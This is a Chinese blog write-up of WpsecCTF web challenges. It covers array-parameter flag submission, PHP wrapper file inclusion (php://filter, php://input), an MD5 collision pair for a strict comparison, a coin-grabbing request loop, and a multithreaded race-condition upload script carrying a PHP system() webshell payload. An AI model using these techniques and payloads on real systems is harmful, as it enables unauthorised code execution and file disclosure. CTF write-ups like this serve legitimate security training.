wangdingbeiSimpleCTF

WpsecCTF Web部分

2018-03-27  本文已影响124人  一纸笔墨

web签到题

这题主要考的是对一个网页出现的数据进行收集吧,很简单的一个题目,不过如果你要是没注意一个小小的细节,那么就可能功亏一篑了~

首先观察到最显眼的地方:*****{****_****_****_****_****},然后我们查看源代码,发现有一个提示请尝试以get的方式提交你所获得的flag

最开头是5个*号,猜测应该是wpsec,我们提交一下看看


然后我们再查看一下源码,发现有一个console.log似乎输出了什么东西,我们调到console窗口查看一下是发现CtF的字符串,我们继续提交看看


到这里应该想到,我们如果想要同时提交CtF和wpsec字符串的话,那么应该使用数组的方法去提交,注意不要被html中的flag0~flag5所误导
我们继续查找,发现LocalStorage 和 cookie中存在flag,分别为To、We1c0me,我们提交所有找到的字符串

发现还是少了一个,然后继续查找,发现存在一处奇怪的地方,web字符串不应该在这里的,所以我们最后加上web试试,得到完整的flag~


web在数据库突兀了,而且还加了奇怪标签

附上题目源码:

<script>
    var flag=['*****','****','****','****','****','****'];
</script>
<?php
if(!isset($_COOKIE['flag'])){
    @setcookie('flag','We1c0me',time()+1000);
    echo "<script>localStorage.setItem('flag', 'To');window.location.href='./index.php';</script>";
    #header('Location:index.php');
    die();
}
header('Flag:Wpsec');
if(isset($_GET['flag'])){
    $flag=serialize($_GET['flag']);
    if(preg_match('/wpsec/', $flag)){
        echo '<script>flag[0]="wpsec";</script>';
    }   
    if(preg_match('/We1c0me/', $flag)){
        echo '<script>flag[1]="We1c0me";</script>';
    }
    if(preg_match('/To/', $flag)){
        echo '<script>flag[2]="To";</script>';
    }
    if(preg_match('/Wpsec/', $flag)){
        echo '<script>flag[3]="Wpsec";</script>';
    }
    if(preg_match('/CtF/', $flag)){
        echo '<script>flag[4]="CtF";</script>';
    }
    if(preg_match('/web/', $flag)){
        echo '<script>flag[5]="web";</script>';
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>你为什么这么熟练啊(╯‵□′)╯︵┻━┻</title>
</head>
<style type="text/css">
</style>
<body style="text-align: center">
    <div style="font-size:30px"><font id="flag0"></font>{<font id="flag1"></font>_<font id="flag2"></font>_<font id="flag3"></font>_<font id="flag4"></font>_<font id="flag5"></font>}</div>
    <p>黑站跑单的你们伤不起啊!好歹你们都有份正常工作啊。**啊!!我们连小学都没毕业啊!</p>
    <p>自己找脚本漏洞要掌握多少东西你知道嘛?????</p>
    <p>光脚本就至少要精通asp啊! jsp啊! .net啊! php啊!java啊!**啊!!</p>
    <p>什么包含,注射,执行,安全模式啊 **啊!!</p>
    <p>mssql mysql oracle db2 sybase <me>web<me>啊!!**啊!!</p>
    <p>一条select都有好多种写法啊!!!order by比**还乱啊!!</p>
    <p>没日没夜的日站啊!!起的比鸡早,睡的比小姐还晚啊!!吃的比猪还差啊!!有木有!!</p>
    <p>好不容易找个射点还数据库分离啊!!!有木有!!!</p>
    <p>射到密码还多MD5+salt啊!!!!还找不到后台啊!!他**!!</p>
    <p>上传发现找不到路径啊!!!好不容易找到了还不给执行啊!!!有木有!!</p>
    <p>拿到shell还提不上权啊!!!操***啊!!马还被杀啊!!!有木有!!!!</p>
    <p>自己做免杀还要学会多少东西你知道嘛???????</p>
    <p>拿OD脱壳改特征码JJBB的!!!有木有!!!!!</p>
    <p>搞完还过不了云啊前功尽充!!!有木有!!!!!!!</p>
    <p>操蛋的日完了C段嗅不到的杯具!!!!!</p>
    <p>日进去里面发现是马场!!!!!!有木有!!!!</p>
    <p>终于杀进系统发现被BT的防火墙封死了!有木有!</p>
    <p>死活出不来进不去啊!!比*****还难日啊啊啊啊!</p>
    <p>日下来结果跑单了啊!!有木有!</p>
    <p>搞不好还被跨省啊!!惨死在牢老大的棒下的有木有!</p>
    <p>在里面还被人整去个电脑!暴菊花啊!有没有!</p>
    <p>被保释出来还要进国家队干苦力的啊有没有! 转型了,留下来被人骂上CCTV装B的!!!有木有!!</p>
    <p>所以千万别日站啊!!!日站要被站长日啊!!!</p>
    <img src="https://img.haomeiwen.com/i4525478/23e35500260ab837.png"/>
    <script type="text/javascript">
        console.log("                                   \n  ,----..       ___         ,---,. \n /   /   \\    ,--.'|_     ,'  .' | \n|   :     :   |  | :,'  ,---.'   | \n.   |  ;. /   :  : ' :  |   |   .' \n.   ; /--`  .;__,'  /   :   :  :   \n;   | ;     |  |   |    :   |  |-, \n|   : |     :__,'| :    |   :  ;/| \n.   | '___    '  : |__  |   |   .' \n'   ; : .'|   |  | '.'| '   :  '   \n'   | '/  :   ;  :    ; |   |  |   \n|   :    /    |  ,   /  |   :  \\   \n \\   \\ .'      ---`-'   |   | ,'   \n  `---`                 `----'     \n");
        console.log("请尝试以get的方式提交你所获得的flag");
        document.getElementById("flag0").innerHTML=flag[0];
        document.getElementById("flag1").innerHTML=flag[1];
        document.getElementById("flag2").innerHTML=flag[2];
        document.getElementById("flag3").innerHTML=flag[3];
        document.getElementById("flag4").innerHTML=flag[4];
        document.getElementById("flag5").innerHTML=flag[5];
    </script>

</body>
</html>

poc:

http://118.25.49.126:8000/index.php?flag[]=wpsec&flag[]=We1c0me&flag[]=To&flag[]=Wpsec&flag[]=CtF&flag[]=web



你这是玩真的么

本题在2016xctf的一道反序列化基础上改变而成,如果对于反序列化以及php伪协议不太了解的话,建议先看一下下面几篇文章:

Bugku——welcome to bugkuctf(一道练习php://filter和php://input的好题)
php 伪协议
理解php反序列化漏洞

index.php
我们查看网站源码,发现有注释,再看红框部分有两个强相等比较,右边的很容易,考的是php伪协议的php://input,能确定$e的值是php://input,之后再post一个字符串I'm Administrator!即可

但是左边的a不允许php伪协议,那么只有去读服务器中文件,而且a也不允许越界,只限这个文件夹内,那么说明文件夹中肯定有容易发现的文件


猜文件/扫描器,发现了两个文件,一个flag.php,一个robots.txt


flag.php
robots.txt

将flag.php文件中的flag提交之后发现不正确,那么线索只能是在robots.txt中。

发现robots.txt文件告诉我们有class.php这个文件,这样的话很显然,已经明确了a和b的值分别是 robots.txtDisallow:./class.php

之后我们再用练了很多遍的老套路,用c依次获得index.php和class.php 源码(php://filter/read=convert.base64-encode=XXX),最后固定下来c的值为class.php


index.php文件内容确实和注释一摸一样,class.php的内容如下


class.php

观察红色框部分,发现是md5强相等,那么找到$data的另一对md5相同的数据即可。在我之前的文章有提到过这组数据。

#强网杯某大牛wp
$Param1="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
$Param2="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
#008ee33a9d58b51cfeb425b0959121c9

最后$d的值构建方法如下,由于大部分过滤器都被禁止了,所以构造的过滤器是string.rot13:


然后把数据整合好,提交上去,成功获取flag

PS:

本题中变量 $c 没有严格过滤,导致include($C)能获取web平台所有源代码,现已修复。
PS:
本题$d不需要php伪协议,直接flag.php即可


抢金币

目的是为了考验脚本编写能力,那么直接上代码就好了

#python2.7
#coding:utf-8
from re import *
from requests import *
url='http://118.25.49.126:8002/index.php'
a=post(url+'?log',data={'username':'test','password':'test'})
_cookie=a.cookies

while 1:
    b=get(url,cookies=_cookie)
    money=findall(compile("<li>.+?\:([-]?\d+)"),b.text)[0]
    print "当前金币->",money
    if int(money)>=1000:
        print "yes"
        break
    res=findall(compile("pink-text.+?robid\=(\d+)"),b.text)
    #print "->",res[0]
    b=get(url+'?robid='+res[0],cookies=_cookie)
b=get(url+'?getflag',cookies=_cookie)
flag=findall(compile("(WPSEC{.+?})"),b.text)[0]
print flag

一次不行就两次

观察index.php源码,发现存在show.php?file=1 直接访问http://118.25.49.126:8003/show.php?file=1发现得到一个图片的原始数据,而且发现图片结尾存在一句注释< !--do you find me use include?-->
由index.php可知,存在upload.php,show.php,测试upload.php发现存在.swp文件,下载该文件,可以还原出upload.php源码

image.png
发现上传的图片在转移到uploads文件夹之后瞬间被删除,所以可以写脚本或者bp多线程去上传文件,之后再循环访问show.php?file=文件名。得到flag
import requests
import time
import threading
import queue

threadNum=500
q=queue.Queue()
for i in range(500):
    q.put(i)

url='http://118.25.49.126:8003/upload.php'
files={'file':('2.jpg','<?php @system("cat flag.php");?>',"image/jpeg")}
def postFile():
    while not q.empty():
        q.get()
        r=requests.post(url,files=files)
        print(r.status_code,end=' ')
        print(r.text)
for i in range(threadNum):
   t=threading.Thread(target=postFile)
   t.start()

for i in range(threadNum):
   t.join()

print("exiting")
上一篇 下一篇

猜你喜欢

热点阅读